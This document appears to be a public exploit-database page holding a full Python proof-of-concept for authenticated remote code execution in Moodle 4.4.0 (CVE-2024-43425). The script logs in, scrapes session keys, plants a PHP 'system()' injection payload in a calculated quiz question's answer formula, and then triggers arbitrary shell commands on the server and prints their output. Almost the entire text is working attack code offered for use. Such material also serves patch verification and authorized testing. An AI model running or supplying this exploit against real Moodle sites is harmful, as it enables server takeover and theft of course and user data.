
5 changes to exploits/shellcodes/ghdb gogs 0.13.0 - Remote Code Execution (RCE) Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) Moodle 4.4.0 - Authenticated Remote Code Execution Microsoft SharePoint 2019 - NTLM Authentication
262 lines
No EOL
10 KiB
Python
Executable file
262 lines
No EOL
10 KiB
Python
Executable file
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
|
|
# Exploit Author: Likhith Appalaneni
|
|
# Vendor Homepage: https://moodle.org
|
|
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
|
|
# Tested Version: Moodle 4.4.0
|
|
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
|
|
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
|
|
# CVE: CVE-2024-43425
|
|
# References:
|
|
# - https://github.com/aninfosec/CVE-2024-43425-Poc
|
|
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425
|
|
|
|
import argparse
|
|
import requests
|
|
import re
|
|
import sys
|
|
import subprocess
|
|
from bs4 import BeautifulSoup
|
|
import urllib.parse
|
|
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
def get_login_token(session, login_url):
|
|
print("[*] Step 1: GET /login/index.php to extract login token")
|
|
try:
|
|
response = session.get(login_url, verify=False)
|
|
if response.status_code != 200:
|
|
print(f"[-] Unexpected status code {response.status_code} when accessing login page")
|
|
sys.exit(1)
|
|
except Exception as e:
|
|
print(f"[-] Error connecting to {login_url}: {e}")
|
|
sys.exit(1)
|
|
|
|
soup = BeautifulSoup(response.text, "html.parser")
|
|
token_input = soup.find("input", {"name": "logintoken"})
|
|
if not token_input or not token_input.get("value"):
|
|
print("[-] Failed to extract login token from HTML")
|
|
sys.exit(1)
|
|
|
|
token = token_input["value"]
|
|
print(f"[+] Found login token: {token}")
|
|
return token
|
|
|
|
def perform_login(session, login_url, username, password, token):
|
|
print("[*] Step 2: POST /login/index.php with credentials")
|
|
login_payload = {
|
|
"anchor": "",
|
|
"logintoken": token,
|
|
"username": username,
|
|
"password": password,
|
|
}
|
|
try:
|
|
response = session.post(
|
|
login_url,
|
|
data=login_payload,
|
|
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
|
verify=False,
|
|
)
|
|
if response.status_code not in [200, 303]:
|
|
print(f"[-] Unexpected response code during login: {response.status_code}")
|
|
sys.exit(1)
|
|
except Exception as e:
|
|
print(f"[-] Login POST failed: {e}")
|
|
sys.exit(1)
|
|
|
|
if "MoodleSession" not in session.cookies.get_dict():
|
|
print("[-] Login may have failed: MoodleSession cookie missing")
|
|
sys.exit(1)
|
|
|
|
print("[+] Logged in successfully.")
|
|
|
|
def get_quiz_info(session, base_url, cmid):
|
|
print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
|
|
quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
|
|
try:
|
|
resp = session.get(quiz_edit_url, verify=False)
|
|
if resp.status_code != 200:
|
|
print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
|
|
sys.exit(1)
|
|
# Extract sesskey
|
|
sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
|
|
# Extract courseContextId
|
|
ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
|
|
# Extract category
|
|
category_match = re.search(r';category=(\d+)', resp.text)
|
|
if not (sesskey_match and ctxid_match and category_match):
|
|
print("[-] Could not extract sesskey, courseContextId, or category")
|
|
print(resp.text[:1000])
|
|
sys.exit(1)
|
|
sesskey = sesskey_match.group(1)
|
|
ctxid = ctxid_match.group(1)
|
|
category = category_match.group(1)
|
|
print(f"[+] Found sesskey: {sesskey}")
|
|
print(f"[+] Found courseContextId: {ctxid}")
|
|
print(f"[+] Found category: {category}")
|
|
return sesskey, ctxid, category
|
|
except Exception as e:
|
|
print(f"[-] Exception while extracting quiz info: {e}")
|
|
sys.exit(1)
|
|
|
|
def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
|
|
print("[*] Step 3: Uploading calculated question with payload...")
|
|
url = f"{base_url}/question/bank/editquestion/question.php"
|
|
payload = "(1)->{system($_GET[chr(97)])}"
|
|
post_data = {
|
|
"initialcategory": 1,
|
|
"reload": 1,
|
|
"shuffleanswers": 1,
|
|
"answernumbering": "abc",
|
|
"mform_isexpanded_id_answerhdr": 1,
|
|
"noanswers": 1,
|
|
"nounits": 1,
|
|
"numhints": 2,
|
|
"synchronize": "",
|
|
"wizard": "datasetdefinitions",
|
|
"id": "",
|
|
"inpopup": 0,
|
|
"cmid": cmid,
|
|
"courseid": courseid,
|
|
"returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
|
|
"mdlscrollto": 0,
|
|
"appendqnumstring": "addquestion",
|
|
"qtype": "calculated",
|
|
"makecopy": 0,
|
|
"sesskey": sesskey,
|
|
"_qf__qtype_calculated_edit_form": 1,
|
|
"mform_isexpanded_id_generalheader": 1,
|
|
"category": f"{category},{ctxid}",
|
|
"name": "exploit",
|
|
"questiontext[text]": "<p>test</p>",
|
|
"questiontext[format]": 1,
|
|
"questiontext[itemid]": 623548580,
|
|
"status": "ready",
|
|
"defaultmark": 1,
|
|
"generalfeedback[text]": "",
|
|
"generalfeedback[format]": 1,
|
|
"generalfeedback[itemid]": 21978947,
|
|
"answer[0]": payload,
|
|
"fraction[0]": 1.0,
|
|
"tolerance[0]": 0.01,
|
|
"tolerancetype[0]": 1,
|
|
"correctanswerlength[0]": 2,
|
|
"correctanswerformat[0]": 1,
|
|
"feedback[0][text]": "",
|
|
"feedback[0][format]": 1,
|
|
"feedback[0][itemid]": 281384971,
|
|
"unitrole": 3,
|
|
"penalty": 0.3333333,
|
|
"hint[0][text]": "",
|
|
"hint[0][format]": 1,
|
|
"hint[0][itemid]": 812786292,
|
|
"hint[1][text]": "",
|
|
"hint[1][format]": 1,
|
|
"hint[1][itemid]": 795720000,
|
|
"tags": "_qf__force_multiselect_submission",
|
|
"submitbutton": "Save changes"
|
|
}
|
|
try:
|
|
res = session.post(url, data=post_data, verify=False, allow_redirects=False)
|
|
if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
|
|
print("[+] Question upload request sent. Extracting question ID from redirect.")
|
|
qid = re.search(r"&id=(\d+)", res.headers["Location"])
|
|
if not qid:
|
|
print("[-] Could not extract question ID from redirect.")
|
|
sys.exit(1)
|
|
return qid.group(1)
|
|
else:
|
|
print(f"[-] Upload failed. Status code: {res.status_code}")
|
|
sys.exit(1)
|
|
except Exception as e:
|
|
print(f"[-] Upload exception: {e}")
|
|
sys.exit(1)
|
|
|
|
def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
|
|
print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
|
|
wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
|
|
data_payload = {
|
|
"id": question_id,
|
|
"inpopup": 0,
|
|
"cmid": cmid,
|
|
"courseid": courseid,
|
|
"returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
|
|
"mdlscrollto": 0,
|
|
"appendqnumstring": "addquestion",
|
|
"category": f"{category},{ctxid}",
|
|
"wizard": "datasetitems",
|
|
"sesskey": sesskey,
|
|
"_qf__question_dataset_dependent_definitions_form": 1,
|
|
"dataset[0]": 0,
|
|
"synchronize": 0,
|
|
"submitbutton": "Next page"
|
|
}
|
|
try:
|
|
res = session.post(wizard_url, data=data_payload, verify=False)
|
|
if res.status_code == 200:
|
|
print("[+] Dataset wizard POST submitted.")
|
|
return False
|
|
elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
|
|
print("[+] Reached expected error page. Payload is being interpreted.")
|
|
return True
|
|
else:
|
|
print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
|
|
return False
|
|
except Exception as e:
|
|
print(f"[-] Exception during dataset wizard step: {e}")
|
|
return False
|
|
|
|
def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
|
|
print("[*] Step 5: Triggering command: {cmd}")
|
|
encoded = urllib.parse.quote(cmd)
|
|
trigger_url = (
|
|
f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
|
|
f"&category={category}&cmid={cmid}&courseid={courseid}"
|
|
f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
|
|
f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
|
|
)
|
|
try:
|
|
resp = session.get(trigger_url, verify=False)
|
|
print("[+] Trigger request sent. Output below:\n")
|
|
lines = resp.text.splitlines()
|
|
output_lines = []
|
|
for line in lines:
|
|
if "<html" in line.lower():
|
|
break
|
|
if line.strip():
|
|
output_lines.append(line.strip())
|
|
|
|
print("[+] Command output (top lines):")
|
|
print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
|
|
except Exception as e:
|
|
print(f"[-] Error triggering command: {e}")
|
|
sys.exit(1)
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
|
|
parser.add_argument("--url", required=True, help="Target Moodle base URL")
|
|
parser.add_argument("--username", required=True, help="Moodle username")
|
|
parser.add_argument("--password", required=True, help="Moodle password")
|
|
parser.add_argument("--courseid", required=True, help="Course ID")
|
|
parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
|
|
parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")
|
|
|
|
args = parser.parse_args()
|
|
|
|
session = requests.Session()
|
|
|
|
login_url = f"{args.url.rstrip('/')}/login/index.php"
|
|
token = get_login_token(session, login_url)
|
|
|
|
perform_login(session, login_url, args.username, args.password, token)
|
|
|
|
sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)
|
|
|
|
question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)
|
|
|
|
if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
|
|
sys.exit(1)
|
|
|
|
trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)
|
|
|
|
if __name__ == "__main__":
|
|
main() |